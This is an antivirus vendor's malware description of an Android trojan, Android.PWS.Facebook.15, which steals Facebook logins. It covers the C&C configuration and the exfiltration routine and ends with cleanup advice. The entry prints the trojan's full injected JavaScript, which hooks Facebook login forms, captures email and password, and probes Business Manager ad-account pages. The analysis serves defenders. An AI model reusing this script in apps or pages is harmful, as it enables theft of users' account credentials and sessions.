Library
My library

+ Add to library

Contact us
24/7 Tech support | Rules regarding submitting

Send a message

Your tickets

Profile

Android.PWS.Facebook.15

Added to the Dr.Web virus database: 2021-06-18

Virus description added:

SHA1 hash:

  • f7d6462d16e8c0c81634e8812ae1b19a59bede26

Description

A trojan application for Android-powered devices. Its main functionality is stealing logins and passwords of Facebook accounts. This modification hid in the EditorPhotoPip app that was available on Google Play. However, the trojan can also be spread under the guise of other software.

#drweb

Operating routine

Upon launch, the Android.PWS.Facebook.15 requests configuration from the http://45[.]32.110.28 C&C server.

An example of decrypted configuration:


{
   "retCode":0,
   "u":"https:\/\/www[.]facebook[.]com\/login[.]php",
   "ds":1,
   "dc":0,
   "d":"function...;",
   "aboutus":"http:\/\/fun[.]biugames[.]com\/vip628316[.]html"
}

where

  • d is a field containing JavaScript code that trojan uses to steal victims’ confidential data;
  • u is a field containing an URL of the web page with authorization form to be loaded. During the analysis, the trojan received configuration to display genuine Facebook login page https://www.facebook.com/login. However, it can also load web pages of other legitimate services and phishing sites.

When user taps on any button in the app’s menu, the Android.PWS.Facebook.15 checks for the configuration availability and if the ds field value is present in it. It also verifies if user’s login and password were already saved into the local database. If ds field value is 1 and saved login-password pair is missing, the trojan offers the victim to login into their Facebook account and loads an URL located in the u field into WebView. With that, each time before an URL is loaded, the cookies of the current authorization session are saved into the local database, and the uploadData function is also called with a delay.

#drweb #drweb

After the page is loaded, a JavaScript from the d field of the configuration is loaded into the same WebView:


function Logs(msg) {
    console.log(msg)
}
function exec() {
    try {
        var m = document.getElementById("email").value;
        var p = document.getElementById("pass").value;
        if (m.length <= 0 || p.length <= 0) {
            return false
        }
        t.a(m, p)
    } catch (e) {
        try {
            var m = document.getElementById("m_login_email").value;
            var p = document.getElementById("m_login_password").value;
            if (m.length <= 0 || p.length <= 0) {
                return false
            }
            t.a(m, p)
        } catch (e) {}
    }
}
function login() {
    try {
        var loginFormObj = document.getElementById("loginform");
        loginFormObj.getElementsByTagName("button")[0].addEventListener("touchend", function() {
            exec()
        });
        loginFormObj.getElementsByTagName("button")[0].addEventListener("click", function() {
            exec()
        });
        document.onkeydown = function(event) {
            if (event.keyCode === 13) {
                exec()
            }
        }
    } catch (e) {
        try {
            var loginFormObj = document.getElementById("login_form");
            loginFormObj.querySelectorAll("button[name^=login]")[0].addEventListener("touchend", function() {
                exec()
            });
            loginFormObj.querySelectorAll("button[name^=login]")[0].addEventListener("click", function() {
                exec()
            });
            document.onkeydown = function(event) {
                if (event.keyCode === 13) {
                    exec()
                }
            }
        } catch (e) {}
    }
}
var testpclogin = /facebook\.com\/login\.php/i;
var testwaplogin = /m.facebook\.com\/$|m.facebook\.com\/login\.php/i;
if (testpclogin.test(window.location.href) || testwaplogin.test(window.location.href)) {
    login()
} else {
    setTimeout(function() {
        Logs("=============111");
        try {
            Logs("=============22222");
            var testurl = /facebook\.com\/bookmarks\/pages/i;
            var testbmurl = /business\.facebook\.com/i;
            if (testurl.test(window.location.href)) {
                Logs("=============33333");
                var obj = document.getElementById("bookmarksSeeAllEntSection");
                if (obj == null) {
                    Logs("=============33333++++++");
                    obj = document.getElementsByTagName("iframe")[0].contentDocument.getElementById("bookmarksSeeAllEntSection")
                }
                if (obj != null) {
                    Logs("=============44444");
                    var len = obj.getElementsByTagName("li").length;
                    if (len > 0) {
                        Logs("=============55555");
                        t.c(1, 1)
                    }
                }
                setTimeout(function() {
                    Logs("=============66666666");
                    window.location = "https://business.facebook.com/"
                }, 1000)
            } else {
                if (testbmurl.test(window.location.href)) {
                    setTimeout(function() {
                        Logs("=============7777777777777");
                        var testbmurl1 = /business\.facebook\.com\/home\/accounts\?business_id=[0-9]+/i;
                        var testbmurl2 = /business\.facebook\.com\/select\/\?next=/i;
                        if (testbmurl1.test(window.location.href)) {
                            try {
                                var adcount = document.querySelectorAll("div[adaccountid]").length;
                                if (adcount > 0) {
                                    t.c(2, 3)
                                } else {
                                    t.c(2, 1)
                                }
                            } catch (e) {
                                t.c(2, 1)
                            }
                        } else {
                            if (testbmurl2.test(window.location.href)) {
                                Logs("=============88888888888");
                                t.c(2, 1)
                            } else {
                                Logs("=============99999999999");
                                t.c(2, 2)
                            }
                        }
                    }, 3000)
                }
            }
        } catch (e) {}
    }, 8000)
};

The script contains t.a() and t.c() functions calling the code from the trojan classes.dex through JavascriptInterface.

Using method provided through the JavascriptInterface annotation, the t.a() function saves entered authorization data (password and user name) to the local database, while the uploadData function is called with the delay.

A method available through the t.c() function call is missing in the analyzed Android.PWS.Facebook.15 sample code.

A uploadData function reads the data from the local database. It checks the password, user name and cookies. These parameters must not be empty, and cookies must contain the c_user string. If these conditions are met, the collected data with the information about the user agent are encoded in base64 and sent to the C&C server.

Android.PWS.Facebook.15 also has functionality for the data output into a log file in Chinese, which may indicate its possible origin. An example of trojan’s log file is shown below:

#drweb

Indicators of compromise

News about the trojan

Curing recommendations


Android

  1. If the mobile device is operating normally, download and install Dr.Web for Android Light. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web для Android Light onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android